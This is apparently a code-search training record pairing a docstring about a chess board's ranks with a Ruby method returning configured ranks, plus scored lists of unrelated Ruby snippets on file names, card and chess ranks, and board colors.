"def file_name\n file_name = (\"tmp/insert_externals.txt\")\n #file_name = (\"tmp/insert_internals.txt\")\n #file_name = (\"./tmp/insert_internals_hash.txt\")\n #file_name = (\"lib/anagrams/anagrams_table_data.txt\")\n #file_name = (\"tmp/insert_anagrams.txt\")\n #file_name = (\"tmp/insert_word_list.txt\")\n #file_name = (\"../../Documents/20110421-research_textualed.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hash-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_keys-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_values-015.txt\")\n end",
"def filename\n @data[10..-1]\n end",
"def files\n return enum_for(:files) unless block_given?\n\n yield @filename\n end",
"def file_path_list\n @file_path_list ||= self.class.default_file_path_list\n end",
"def each_filename; end",
"def filename\n @file\n end",
"def all\n @files\n end",
"def file_options; end",
"def files\n @files ||= full_files.map {|file| relative(file) }\n end",
"def choose_file\n period = []\n files = Dir.children \"./files/periods\"\n files.map! do |file|\n file = file.split('.').first\n period << file\n end\n return period\nend",
"def file_name\n file_name = \"h\"\n write_zeros.times { file_name += \"0\" }\n file_name += @@count.to_s + \".txt\"\n end",
"def file_glob\n if file_types.nil?\n '*'\n else\n \"*{#{file_types.join(',')}}\"\n end\n end",
"def filelist\n fail '@name must be defined before calling filelist for the first time' unless @name\n @filelist ||= {\n config_application: { source: 'config/application.rb' },\n config_version: { source: 'config/version.rb' },\n config_boot: { source: 'config/boot.rb' },\n config_commands: { source: 'config/commands.rb' },\n config_dev: { source: 'config/maillist_dev.txt' },\n config_prod: { source: 'config/maillist_prod.txt' },\n doc_history: { source: 'doc/history' },\n target_default: { source: 'target/default.rb' },\n # target_default: { source: 'debug.rb', # Relative to the file being linked to\n # dest: 'target/default.rb', # Relative to destination_root\n # type: :symlink },\n environment_dir: { dest: 'environment', type: :directory },\n lib_module: { source: 'app/lib/module.rb',\n dest: \"app/lib/#{@name}.rb\" },\n lib_module_dir: { dest: \"app/lib/#{@name}\", type: :directory },\n app_blocks_dir: { dest: 'app/blocks', type: :directory },\n spec_helper: { source: 'spec/spec_helper.rb' },\n web_index: { source: 'app/templates/web/index.md.erb' },\n web_basic_layout: { source: 'app/templates/web/layouts/_basic.html.erb' },\n web_navbar: { source: 'app/templates/web/partials/_navbar.html.erb' },\n web_release_notes: { source: 'app/templates/web/release_notes.md.erb' },\n rakefile: { source: 'Rakefile' },\n gemfile: { source: 'Gemfile' },\n gitignore: { source: '.gitignore' },\n irbrc: { source: '.irbrc' },\n rspec: { source: '.rspec' },\n # This sets the initial mode of the new workspace to 'debug'\n session: { source: 'origen_core_session',\n dest: '.session/origen_core',\n copy: true\n }\n }\n end",
"def get_the_individual_file_to_be_processed\n # p \"individual file selection\"\n files = GetFiles.get_all_of_the_filenames(@project.freecen_files_directory, @project.file_range)\n files\n end",
"def initialize\n @files = []\n end"
] | [
"0.6911375",
"0.6479326",
"0.63325906",
"0.63325906",
"0.63325906",
"0.63325906",
"0.63325906",
"0.63325906",
"0.59922475",
"0.5983024",
"0.59214914",
"0.5846886",
"0.5822537",
"0.5822537",
"0.58013374",
"0.57564443",
"0.5743453",
"0.5742581",
"0.5742581",
"0.56999034",
"0.569599",
"0.56943536",
"0.56924474",
"0.56530786",
"0.563337",
"0.5626463",
"0.5601034",
"0.56000763",
"0.56000763",
"0.5598652",
"0.5555987",
"0.5546783",
"0.55330664",
"0.55130816",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.5495845",
"0.54422677",
"0.5428868",
"0.54118866",
"0.54027045",
"0.53876656",
"0.5386568",
"0.5381057",
"0.5372816",
"0.5349337",
"0.534896",
"0.534896",
"0.5337517",
"0.53341615",
"0.52944267",
"0.52795964",
"0.52712756",
"0.5264289",
"0.5248405",
"0.5242231",
"0.52383167",
"0.52318496",
"0.5224045",
"0.5220111",
"0.52197117",
"0.52022254",
"0.51889926",
"0.516537",
"0.5164622",
"0.5160545",
"0.51562023",
"0.5155638",
"0.5152315",
"0.5141387",
"0.51384544",
"0.5135417",
"0.5134057",
"0.51315874",
"0.51195663",
"0.5117729",
"0.51132923",
"0.51067525",
"0.5104858",
"0.5101362",
"0.5099343",
"0.5098837",
"0.5098658",
"0.50888985",
"0.50887936",
"0.5085903",
"0.5082165",
"0.5060903",
"0.50597996"
] | 0.54791164 | 48 |
The definition of the ranks for this board. By default it will be files 1 .. 8. You can change this by initializing the board with a different range. | def ranks
Outpost::Config.instance.ranks
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def ranks\n @ranks ||= RANK_RANGE.map(&:to_i)\n end",
"def rank=(value)\n @rank = value\n end",
"def ranked_board\n # pre-process to remove sunken ships\n string = remove_sunken_ships board_to_string\n self.board = string_to_board(string)\n set_base_rank\n increment_adjacent_to_hits\n increment_ends_of_pairs\n cell_rankings\n end",
"def set_rank\n RANKS_HASH.each do |rank, range|\n update_column(:singles_rank, rank.to_s.humanize) if singles_points&.between?(range.first, range.last)\n update_column(:doubles_rank, rank.to_s.humanize) if doubles_points&.between?(range.first, range.last)\n update_column(:womens_singles_rank, rank.to_s.humanize) if womens_singles_points&.between?(range.first, range.last)\n update_column(:womens_doubles_rank, rank.to_s.humanize) if womens_doubles_points&.between?(range.first, range.last)\n end\n end",
"def rank; end",
"def rank; end",
"def each_rank( square = nil )\n\t\t\tif square\n\t\t\t\tfile = square[0, 1]\n\t\t\t\trank = square[1, 1]\n\t\t\t\tyield( (file.succ..\"h\").map do |f|\n\t\t\t\t\tname = \"#{f}#{rank}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\t\tyield( (\"a\"...file).to_a.reverse.map do |f|\n\t\t\t\t\tname = \"#{f}#{rank}\"\n\t\t\t\t\t[name, @squares[name]]\n\t\t\t\tend )\n\t\t\telse\n\t\t\t\t(1..8).each do |rank|\n\t\t\t\t\tyield( (\"a\"..\"h\").map do |file|\n\t\t\t\t\t\tname = \"#{file}#{rank}\"\n\t\t\t\t\t\t[name, @squares[name]]\n\t\t\t\t\tend )\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def rank_range(range,board=@board,&block)\n range.to_a.each {|r| whole_rank(r,board,&block) }\n end",
"def rank_for_print\n rank_print = @rank\n case @rank\n when :A then rank_print = \"Ace\"\n when :K then rank_print = \"King\"\n when :Q then rank_print = \"Queen\"\n when :J then rank_print = \"Jack\"\n end\n rank_print\n end",
"def rank\n return @rank\n end",
"def rank\n @data['rank']\n end",
"def to_i\n @rank\n end",
"def rank\n @rank > 10 ? 10 : @rank\n end",
"def initial_ranks\n raise NotImplementedError\n end",
"def set_Rank(value)\n set_input(\"Rank\", value)\n end",
"def new_rank\n row + @board.active_piece.rank_direction\n end",
"def new_rank\n row + @board.active_piece.rank_direction\n end",
"def rank\n\t\t\t(const_defined?('Rank')) ? const_get('Rank') : NormalRanking\n\t\tend",
"def get_ranks\n ranks = {}\n ('2'..'10').each { |num_str| ranks[num_str] = num_str }\n ranks.merge!({ \"J\" => \"Jack\", \"Q\" => \"Queen\", \"K\" => \"King\", \"A\" => \"Ace\" })\nend",
"def rank_index\n RANKS.keys.index(@rank)\n end",
"def rank_name\n self.class.get_rank_name rank if respond_to? :rank\n end",
"def ranks \n r = {}\n data_hash = User.all_ranks \n return data_hash[self.id]\n end",
"def ranking\n [what_rank, tie_breaker]\n end",
"def navy_rank; end",
"def max_rank\n num_above + num_below + 1\n end",
"def rank\n case @owner\n # Prefer volumes from Princeton most strongly\n when 'njp'\n @rank = 4\n # Recap partners are next in order of preference\n when 'nyp', 'nnc1', 'nnc2.ark'\n @rank = 3\n # Followed by Borrow Direct partners\n when 'yale', 'hvd', 'coo', 'chi'\n @rank = 2\n # These are mentioned by Meagan\n when 'mdp', 'miun', 'uc1', 'uc2', 'loc.ark', 'uva', 'umn', 'dul1.ark', 'ien', 'inu', 'nc01.ark', 'pst', 'pur1', 'ucm', 'uiug', 'wu'\n @rank = 1\n # Anything else is unknown; rank lowest.\n else\n @rank = 0\n end\n @rank # return the rank\n end",
"def max_rank\n\t\t\tself.num_above + self.num_below + 1\n\t\tend",
"def generate_rank_values\n\t\tlist = \"<select name=\\\"rank\\\">\"\n\t\tfor i in 1..100\n\t\t\tlist += \"<option value=\\\"#{i}\\\">#{i}</option>\"\n\t\tend\n\t\tlist += \"</select>\"\n\tend",
"def defineRanks\n\t\t#Recalculate ranking stats for all trainers \n\t\tTrainer.all.each do |trainer|\n\t\t\t#Gathering data\n\t\t\t@trainerPokemonCaughtCount = trainer.pokemons.where('huntstates.caught = 1').count\n\t\t\t@trainerPokemonSeenCount = trainer.pokemons.count\n\t\t\t@badgesCount = trainer.badges.count\n\t\t\t@points = @trainerPokemonCaughtCount * @trainerPokemonSeenCount * (@badgesCount + 1)\n\n\t\t\t#Build params for update OR create trainer's rank\n\t\t\t@paramsCreateUpdate = {\n\t\t\t\t:pokemon_viewed => @trainerPokemonSeenCount,\n\t\t\t\t:pokemon_caught => @trainerPokemonCaughtCount,\n\t\t\t\t:badges_count => @badgesCount,\n\t\t\t\t:total_points => @points \n\t\t\t}\n\n\t\t\t#Create/Update trainer's rank\n\t\t\tif trainer.rank != nil\n\t\t\t\ttrainer.rank.update(@paramsCreateUpdate)\n\t\t\telse \n\t\t\t\ttrainer.create_rank(@paramsCreateUpdate)\n\t\t\tend \n\t\tend\n\n\t\t#Determine position for each rank\n\t\t@i = 1\n\t\t@pointsPrevious = 0\n\t\t@decalage = 0\n\t\t@ranksOrderedByPoints = Rank.all.order(\"total_points desc\")\n\n\t\t@ranksOrderedByPoints.each do |rank|\n\t\t\tif @i!= 1 && rank.total_points == @pointsPrevious\n\t\t\t\t@decalage = @decalage + 1\n\t\t\tend\n\t\t\t@paramsPosition = { :position => (@i - @decalage)}\n\t\t\trank.update(@paramsPosition)\n\t\t\t@pointsPrevious = rank.total_points \n\t @i = @i + 1\n\t\tend\n\tend",
"def rank\n FREECELL_VALUES[value]\n end",
"def reindeer_ranking\n\t\t\treindeer = [\"Rudolph\", \"Dasher\", \"Dancer\", \"Prancer\", \"Vixen\", \"Comet\", \"Cupid\", \"Donner\", \"Blitzen\"]\n\t\tend",
"def army_rank; end",
"def set_ranking(value)\n\t\t@ranking = value\n\tend",
"def hand_rank(hand)\n ranks = card_ranks(hand) # card_ranks return the ranks in sorted order\n\n if straight(ranks) && flush(hand)\n return [8, ranks.max] # 2 3 4 5 6 => [8, 6], 6 7 8 9 T => [8, T]\n elsif kind(4, ranks)\n return [7, kind(4, ranks), kind(1, ranks)] # 9 9 9 9 3 => [7, 9, 3]\n elsif kind(3, ranks) && kind(2, ranks) # 8 8 8 K K => [6, 8, 13]\n return [6, kind(3, ranks), kind(2, ranks)]\n elsif flush(hand)\n return [5, ranks]\n elsif straight(ranks)\n return [4, ranks.max]\n elsif kind(3, ranks)\n return [3, kind(3, ranks), ranks]\n elsif two_pair(ranks)\n return [2, kind(2, ranks), ranks]\n elsif kind(2, ranks)\n return [1, kind(2, ranks), ranks]\n else\n return [0, ranks]\n end\nend",
"def marines_rank; end",
"def rank\n return inv + neg + nsp\n end",
"def rank\n\t\trr = self.clone\n\t\trr.row_reduce_below\n\t\trr.rank_rr\n\tend",
"def get_rank\n list = self.tournament.rounds.to_a;\n #this list will be chronological already\n\n i = 0;\n while list[i].id != self.id\n i = i + 1;\n end\n return (i + 1);\n end",
"def rank\n\t\treturn self.class.rank\n\tend",
"def assign_rank(rank)\n\t\tif rank.starts_with?(\"W\", \"w\")\n\t\t\tstring = \"Win\"\n\t\telsif rank.starts_with?(\"L\", \"l\")\n\t\t\tstring = \"Loss\"\n\t\telse\n\t\t\tstripped = rank.to_i.to_s\n\t\t\tstring = \"#{stripped}th\"\n\t\t\tstring = \"#{stripped}st\" if stripped.ends_with?(\"1\")\n\t\t\tstring = \"#{stripped}nd\" if stripped.ends_with?(\"2\")\n\t\t\tstring = \"#{stripped}rd\" if stripped.ends_with?(\"3\")\n\t\t\tstring = \"#{stripped}th\" if stripped.ends_with?(\"11\")\n\t\tend\n\t\tself.rank = string\n\tend",
"def next_rank()\n return NEXT_RANK[self]\n end",
"def rank=(m)\n @rank = m % (1 << size)\n end",
"def ranking\n self['ranking'] = score + self['num_comments']\n end",
"def ranking\n self['ranking'] = score + self['num_comments']\n end",
"def alt_ranks\n { Division: \"Phylum\" }\n end",
"def rank\n y + 1\n end",
"def calc_rank\n return (self.score * 20001) + self.speaks;\n end",
"def rank_precedence() = RANKS_SCORES[self.rank]",
"def index_rank\n case rank\n when 'species', 'subspecies', 'variety'\n 'species_group'\n when 'genus', 'subgenus'\n 'genus_group'\n when nil, \"\"\n 'unknown'\n else\n rank.downcase\n end\n end",
"def ranks\n @teams = Team.where(\"wins > 0\t\").order(win_percentage: :desc)\n end",
"def opponent_pawn_starting_rank\n color = capturing_pawn.opposite_color\n Pawn.starting_ranks[color]\n end",
"def rank(short = false)\n if (2..10) === @rank\n @rank.to_s\n else\n h = { 11 => 'Jack', 12 => 'Queen', 13 => 'King', 14 => 'Ace' }\n h[@rank] && short ? h[@rank][0] : h[@rank]\n end\n end",
"def array_suit_rank\n h = []; d = []; c = []; s = []\n (0..6).each { |i|\n h << (@cards[i][1]) if @cards[i][0] == 1\n d<<(@cards[i][1]) if @cards[i][0] == 2\n c<<(@cards[i][1]) if @cards[i][0] == 3\n s<<(@cards[i][1]) if @cards[i][0] == 4 }\n # sort rank in any suit\n { :suit_H => h, :suit_D => d, :suit_C => c, :suit_S => s }.each { |suit, rank|\n rank.sort! { |first, second| second <=> first } }\n end",
"def rank_rr\n\t\trank = 0\n\t\tfor i in 0..(@num_rows-1)\n\t\t\tif @rows[i].bits == 0\n\t\t\t\treturn rank\n\t\t\telse\n\t\t\t\trank += 1\n\t\t\tend\n\t\tend\n\t\trank\n\tend",
"def display_rank(i)\n rank = Hash[(2..10).to_a.map do |x|\n [x, x]\n end\n ].merge({ 11 => :jack,\n 12 => :queen,\n 13 => :king,\n 14 => :ace})\n\n rank[i]\nend",
"def put_rank(fd)\n fd.puts '{ rank=same; \"bnt-a2-001-m\" ; \"bnt-a2-002-m\"; }' #External BNTs\n fd.puts '{ rank=same; \"bnt-c2-003-m\" ; \"bnt-c2-004-m\"; }' #Private Core\n end",
"def board_setup\n\t\tinitial_position = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\tspecial_position = [8,1]\n\t\tpawn_position = [7,2]\n\t\tinitial_color = [\"black\",\"white\"]\n\t\ti = 0\n\t\tx = 0\n\t\t#loops through ranks 8 and 1 setting each class piece in his corresponding position.\n\t\tspecial_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = initial_position[i]\n\t\t\t\t@board[letter+num.to_s].color = initial_color[x]\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\ti = 0\n\t\t\tx += 1\n\t\tend\n\n\t\ty = 0\n\t\t#loos through ranks 7 and 2 setting the pawn's pieces in his corresponding position.\n\t\tpawn_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = \"pawn\"\n\t\t\t\t@board[letter+num.to_s].color = initial_color[y]\n\t\t\tend\n\t\t\ty += 1\n\t\tend\n\tend",
"def rank\n\t\tRANKINGS.each do |ranking|\n\t\t\treturn ranking if self.send(\"#{ranking}?\".to_sym)\n\t\tend\n\tend",
"def ranks(already_sorted=false)\n a = already_sorted ? self : sort\n map { |i| (a.index(i) + a.rindex(i)) / 2.0 }\n end",
"def space_force_rank; end",
"def value\n card_value = @rank\n if @rank == :A\n card_value = 11\n elsif @rank == :K || @rank == :Q || @rank == :J\n card_value = 10\n end\n card_value\n end",
"def to_s\n \"_#{rank}\"\n end",
"def what_rank\n 10 - all_ranks.find_index{ |truth| truth != 2014} \n end",
"def ranking\n reindeer_hash = {}\n reindeer_arr = []\n puts \"Please rank reindeer with \\n numerical value 1 to 9\\n 1 being most favorite\\n 9 being least.\\n\"\n @reindeer_ranking.each do |reindeer|\n p reindeer\n reindeer_hash[reindeer] = gets.to_i\n end\n @reindeer_ranking = reindeer_hash\n p \"#{@name} Your favorite reindeer is #{@reindeer_ranking.key(1)}\"\n reindeer_hash.sort_by {|key, value| value }\n @reindeer_ranking.each do |key, value|\n reindeer_arr.insert(value - 1, key)\n end\n @reindeer_ranking = reindeer_arr.compact!\n puts\n end",
"def compute_all_issues_rank\n\t\tissues = Issue.find :all\n\t\tranking = Hash.new()\n\t\tissues.each {|i| ranking[i.id] = 0.75 }\n\t\treturn ranking\n\tend",
"def page_rank\n\n end",
"def initialize(suite, rank)\n\t\tcase suite\n\t\twhen :clubs\n\t\t\t@value, @rank, @suite = rank, rank, suite\n\t\twhen :diamonds\n\t\t\t@value, @rank, @suite = rank + 13, rank, suite\n\t\twhen :hearts\n\t\t\t@value, @rank, @suite = rank + 26, rank, suite\n\t\twhen :spades\t\n\t\t\t@value, @rank, @suite = rank + 39, rank, suite\n\t\twhen :joker\n\t\t\t@value, @rank, @suite = 53, rank, 'a' if rank == 1\n\t\t\t@value, @rank, @suite = 53, rank, 'b' if rank == 2\n\t\tend\n\tend",
"def rank\n fetch('games.league_of_legends.rank')\n end",
"def assign_ranks(name, ranks)\r\n\t\tranks = ranks.to_f\r\n\t\tif !class_skills.include?(name) \r\n\t\t\tranks = ranks/2\r\n\t\tend\r\n\t\tif skills.include?(name) \r\n\t\t#increment skill character already has\r\n\t\t\tskills[skills.index(name)].ranks += ranks\r\n\t\telsif list.include? name \r\n\t\t#copy base skill from list to character's skills then increment that skill's ranks\r\n\t\t\tskills.push(list[list.index(name)].dup)\r\n\t\t\tskills[skills.index(name)].ranks += ranks\r\n\t\telse \r\n\t\t#skill doesn't exist in database make a new skill only for the character\r\n\t\t\tskills.push(SkillModel.new(name,\"\"))\r\n\t\t\tskills[skills.index(name)].ranks += ranks\r\n\t\tend\r\n\tend",
"def rank_name(rank)\n if rank==2\n return \"Two\"\n elsif rank ==3\n return (\"Three\")\n elsif rank ==4\n return (\"Four\")\n elsif rank ==5\n return (\"Five\")\n elsif rank ==6\n return (\"Six\")\n elsif rank ==7\n return (\"Seven\")\n elsif rank ==8\n return (\"Eight\")\n elsif rank == 9\n return (\"Nine\")\n elsif rank ==10\n return (\"Ten\")\n elsif rank ==\"J\"\n return (\"Jack\")\n elsif rank ==\"Q\"\n return (\"Queen\")\n elsif rank ==\"K\"\n return (\"King\")\n elsif rank ==\"A\"\n return (\"Ace\")\n end\t #if\nend",
"def rank(prog); @ranks[prog]; end",
"def rank\n inv_num = 0\n 1.upto(size-1) do |i|\n (i+1).upto(size) do |j|\n inv_num += 1 if self[i] > self[j]\n end\n end\n return inv_num\n end",
"def rank_style\n\t\tif (self.rank.nil?)\n\t\t\t\"\"\n\t\telse\n\t\t\t\"color: #{self.rank.color};\"\n\t\tend\n\tend",
"def player_legend_ranks\n players.map {|p| p.attr(\"legendRank\") }\n end",
"def get_rank\n hash = Hash[UserGame.for_game(self.game.id).by_portfolio_value.map.with_index.to_a]\n if hash[self] == 0\n return 1\n else\n x = hash[self]\n while x > 0 && hash.key(x).get_portfolio == hash.key(x-1).get_portfolio\n x -= 1\n end\n return x + 1\n end\n end",
"def calc_ranking\n ranked = Set.new # Variables to reify (and rank)\n symbol_table.root.defns.each_value do |entry|\n next unless entry.kind_of?(LogVar)\n\n assocs = blackboard.associations_for(entry.i_name, true)\n if assocs.nil? || assocs.empty?\n ranked << entry.i_name\n else\n assocs.each do |a|\n if a.kind_of?(Fusion)\n comb_moves = blackboard.i_name2moves[a.i_name]\n ranked << entry.i_name if comb_moves.size == 1\n else\n dependents = a.dependencies(self)\n dependents.each do |i_name|\n dep_idx = blackboard.i_name2moves[i_name]\n if dep_idx.nil? || dep_idx.empty?\n ranked << i_name\n # TODO: consider transitive closure\n end\n end\n end\n end\n end\n end\n # Rank the variables...\n scope = symbol_table.current_scope\n sorted_entries = []\n loop do\n vars_in_scope = scope.defns.values.select { |e| e.kind_of?(LogVar) }\n vars_in_scope&.reverse_each do |e|\n sorted_entries.unshift(e) if ranked.include? e.i_name\n end\n scope = scope.parent\n break if scope.nil?\n end\n\n rk_number = 0\n # Ensure that fused variables have same rank number\n sorted_entries.each do |e|\n if blackboard.fused?(e.i_name)\n siblings = cv2vars[blackboard.vars2cv[e.i_name]]\n if siblings\n occurred = siblings.find do |sb|\n ranking.include? sb\n end\n if occurred\n ranking[e.i_name] = ranking[occurred]\n end\n end\n end\n unless ranking.include? e.i_name\n ranking[e.i_name] = rk_number\n rk_number += 1\n end\n end\n ranking\n end",
"def rank_to_h\n\t\t\trank_to_s.gsub('Rank', '').downcase\n\t\tend",
"def hash\n [self.class.name, rank, natural_rank].hash\n end",
"def rank\n send_to_rankers(rankables.prune!)\n end",
"def initialize(rank=nil)\n @rank = rank || rand(400) + 600\n end",
"def set_relative_rank\n ranked_week_calculations_for_season = PlayerCalculation.for_user(@player_calculation.user_id).rank_by_weekly_load # .for_season(@player_calculation.season)\n i = ranked_week_calculations_for_season.length\n ranked_week_calculations_for_season.each do |calc|\n calc.update(season_rank: i)\n calc.save!\n i = i - 1\n end\n return\n end",
"def tokenizer_ranking_row_rank_position\n TokenExtractor.new(\n :rank_position,\n 0,\n #/(.)(?=[a-z°)])/i\n /\\s*(\\w|\\?){3}-(\\d|\\?){6}/i\n )\n end",
"def rank _args\n \"rank _args;\" \n end",
"def initialize(rank = nil)\n\n rank_hash = {\n 1=>\"Ace\", 2=>\"Two\",3=>\"Three\",4=>\"Four\",5=>\"Five\",6=>\"Six\",7=>\"Seven\",\n 8=>\"Eight\",9=>\"Nine\", 10=>\"Ten\",11=>\"Jack\",12=>\"Queen\",13=>\"King\"\n }\n rank = rank_hash[rand(1..13)] if rank.nil?\n\n @rank = rank\n\n end",
"def rank\n unless player.nil?\n series.rank_of player\n else\n 0\n end\n end",
"def board\n @board_string = @board_string.to_s.split(//).each_slice(9).to_a.map!{|array| array.map!{|string| string.to_i}}\n\n end",
"def set_rank\n @rank = Rank.find(params[:id])\n end",
"def initialize(rank, suit)\n @rank = rank\n @suit = suit\n end",
"def check_and_assign_rank\n\t# binding.pry # 4, 9, 14, 20\n\t\tallowable_ranks = [/\\A\\d+st\\z/i, /\\A\\d+nd\\z/i, /\\A\\d+rd\\z/i, /\\A\\d+th\\z/i, /\\A\\d+\\z/, /\\AW\\z/i, /\\AL\\z/i, /\\Awin\\z/i, /\\Aloss\\z/i, /\\Awon\\z/i, /\\Alost\\z/i]\n\t\t# allows all numbers only: /\\A\\d+\\z/ ( checks below for not 0: /\\A^0+\\z/ )\n\t\t\t# allows all numbers except 0 (checked below) ending with 'st' 'nd' 'rd' 'th' (case insenitive): /\\A\\d+st\\z/i, /\\A\\d+nd\\z/i, /\\A\\d+rd\\z/i, /\\A\\d+th\\z/i\n\t\t\t# allowable text (case insenitive): W, L, win, loss, won, lost\n\t\n\t\tif self.rank.present?\n\t\t\tstring = self.rank.strip.gsub(\" \", \"\").downcase\n\t\t\tif string.scan(Regexp.union(allowable_ranks)).empty? || string.match(Regexp.union(/\\A^0+\\z/, /\\A^0+st\\z/i, /\\A^0+nd\\z/i, /\\A^0+rd\\z/i, /\\A^0+th\\z/i))\n\t\t\t\terrors.add(:rank, 'Enter only a number above 0, \"W\" or \"L\".')\n\t\t\telse\n\t\t\t\tself.assign_rank(string)\n\t\t\tend\n\t\tend\n\tend",
"def initialize(rank, value, suit)\n @rank = rank\n @value = value\n @suit = suit\n end",
"def rank\n message = PongBot::Messages.player_rankings_message\n return message\n end",
"def show\n @rank_list = [\n [\"プロ九段\", \"9p\"],\n [\"九段\", \"9d\"],\n [\"八段\", \"8d\"],\n [\"七段\", \"7d\"],\n [\"六段\", \"6d\"],\n [\"五段\", \"5d\"],\n [\"四段\", \"4d\"],\n [\"三段\", \"3d\"],\n [\"二段\", \"2d\"],\n [\"初段\", \"1d\"]\n ]\n\n (1..25).each do |i|\n @rank_list << [\"#{i}級\", \"#{i}k\"]\n end\n\n @komi_list = [\n [\"7目半\" , \"7.5\" ],\n [\"6目半\" , \"6.5\" ],\n [\"5目半\" , \"5.5\" ],\n [\"4目半\" , \"4.5\" ],\n [\"なし\" , \"0\" ],\n [\"逆コミ4目半\", \"-4.5\"],\n [\"逆コミ5目半\", \"-5.5\"],\n [\"逆コミ6目半\", \"-6.5\"],\n [\"逆コミ7目半\", \"-7.5\"]\n ]\n @viewport = 560\n end",
"def initialize(rank, suit)\n @rank = rank \n @suit = suit\n end",
"def ordinal_rank(percentile, size)\n # n = P / 100 * N + 1/2\n ((percentile / 100.0 * size) + 0.5)\n end",
"def initialize(rank, suit)\r\n @rank = rank\r\n @suit = suit\r\n end",
"def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end",
"def initialize(rank, suit, color, value)\n @rank = rank\n @suit = suit\n @color = color\n @value = value\n end",
"def initialize(rank, suit, color)\n @rank = rank\n @suit = suit\n @color = color\n end",
"def show_rankings()\n players = Player.all\n rankings = Array.new\n players.each do |r|\n player << r.id\n played = Result.where(:player_id => player).count\n ranking = Ranking.where(:player_id => player).last.id\n rankings << [player, played, ranking]\n end\n return rankings\n end",
"def make_nodes\n nodes = {}\n @files.each_with_index do |file, ind|\n @ranks.each do |rank|\n symbol = \"#{file}#{rank}\".to_sym\n nodes[symbol] = Node.new([rank - 1, ind])\n end\n end\n nodes\n end"
] | [
"0.7753274",
"0.64954853",
"0.6490504",
"0.6442089",
"0.64249766",
"0.64249766",
"0.6338014",
"0.6267029",
"0.62390393",
"0.6190477",
"0.6189208",
"0.61687887",
"0.61215717",
"0.6021965",
"0.60004365",
"0.5976181",
"0.5976181",
"0.59745973",
"0.59647113",
"0.5960863",
"0.5947522",
"0.59168303",
"0.5898921",
"0.5892973",
"0.58928055",
"0.58901846",
"0.58864117",
"0.5885012",
"0.58729094",
"0.58364356",
"0.5815548",
"0.5799512",
"0.5795244",
"0.5794404",
"0.5790686",
"0.5788921",
"0.5760009",
"0.5750028",
"0.5747648",
"0.5747259",
"0.57278186",
"0.56810606",
"0.56809855",
"0.56809855",
"0.56689084",
"0.5668284",
"0.5657146",
"0.5633741",
"0.563009",
"0.5628352",
"0.56211364",
"0.5612244",
"0.56090564",
"0.5602958",
"0.5531573",
"0.55162233",
"0.5498461",
"0.54964656",
"0.54705924",
"0.54639274",
"0.54449177",
"0.5437616",
"0.5411709",
"0.54110515",
"0.5407636",
"0.540385",
"0.5385229",
"0.5380724",
"0.5374487",
"0.53707594",
"0.53592193",
"0.5358231",
"0.5337609",
"0.53317857",
"0.5330575",
"0.53253275",
"0.53249806",
"0.53245175",
"0.5321497",
"0.5311613",
"0.53112185",
"0.52954274",
"0.52855486",
"0.5283897",
"0.5283415",
"0.52779645",
"0.526427",
"0.52516115",
"0.52510214",
"0.52476346",
"0.52283835",
"0.52278394",
"0.5225038",
"0.5223424",
"0.5219655",
"0.52082634",
"0.5207522",
"0.51882684",
"0.51812726",
"0.51811993"
] | 0.7009478 | 1 |
The definition of the colors for this board. By default it will be files [ :black, :white ]. You can change this by initializing the board with a different array of colors. This definition will be used to generate the board. | def colors
Outpost::Config.instance.colors
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def possible_colors\n %w(R G B Y)\n end",
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def colors; end",
"def colors\n @colors\n end",
"def colors\n @colors ||= parse_colors(color_properties)\n end",
"def default_color_train\n %w{#5D1880 #905717 #3E841F #193FBE #9B3E15 #C22DDE #00FFFF #9200C6 #4466AA}\n end",
"def colors\n return\n end",
"def colors=(col_arrays)\n col_arrays = col_arrays.map do |r,g,b|\n [ r < 0 ? 0 : (r > 255 ? 255 : r),\n g < 0 ? 0 : (g > 255 ? 255 : g),\n b < 0 ? 0 : (b > 255 ? 255 : b) ]\n end\n txt = col_arrays.map{|vals| \"#\" + vals.map{|y| \"%02X\" % y}.join(\"\")}.join(\" \")\n @wmiiconfig.write(\"/bar/#{@name}/colors\", txt)\n end",
"def colors\n color_codes.keys\n end",
"def colors\n hex_values = @lines.map { |line| line[/#([0-9A-F]{6})/, 1] }.compact\n hex_values.map { |hex| Colour::RGB.from_html(hex) }\n end",
"def colors\n @wmiiconfig.read(\"/bar/#{@name}/colors\").split(/\\s+/).map do |txt|\n txt.scan(/[a-fA-F0-9]{2}/).map{|hex| hex.to_i(16)}\n end\n end",
"def create_colorset()\n colors = {\n '#' => BACKGROUND_COLOR,\n '.' => BACKGROUND_COLOR,\n }\n return colors\nend",
"def computer_color\n\t valid_colors = [\"r\", \"y\", \"b\", \"w\", \"c\", \"g\"] \n\t return [valid_colors[rand(0..5)],valid_colors[rand(0..5)], valid_colors[rand(0..5)], valid_colors[rand(0..5)]]\n\tend",
